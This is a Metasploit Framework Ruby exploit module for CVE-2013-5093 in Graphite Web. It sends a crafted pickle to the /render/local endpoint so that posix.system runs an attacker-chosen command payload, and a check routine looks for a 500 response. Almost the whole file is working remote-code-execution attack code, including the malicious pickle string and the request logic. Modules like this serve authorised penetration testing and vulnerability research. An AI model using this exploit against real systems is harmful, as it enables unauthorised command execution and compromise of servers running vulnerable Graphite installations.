##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'       => 'Graphite Web Unsafe Pickle Handling',
      'Description'   => %q{
        This module exploits a remote code execution vulnerability in the pickle
        handling of the rendering code in the Graphite Web project between version
        0.9.5 and 0.9.10(both included).
      },
      'Author'     =>
        [
          'Charlie Eriksen' # Initial discovery and exploit
        ],
      'License'     => MSF_LICENSE,
      'References'    =>
        [
          [ 'CVE', '2013-5093'],
          [ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']
        ],
      'Platform'      => 'unix',
      'Arch'        => ARCH_CMD,
      'Privileged'    => false,
      'Targets'     => [ ['Automatic', {} ] ],
      'DisclosureDate' => 'Aug 20 2013',
      'DefaultTarget'  => 0,
      'Payload'     =>
        {
          'DisableNops' => true,
          'Space'      => 16384,
          'Compat'    =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'python generic telnet netcat perl ruby'
            }
        }))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
      ], self.class)

  end

  def check
    response = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'render', 'local'),
      'method' => 'POST'
    })

    if response and response.code == 500
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."

    print_status("Sending exploit payload...")

    response = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'render', 'local'),
      'method' => 'POST',
      'data'    => data
    })
  end
end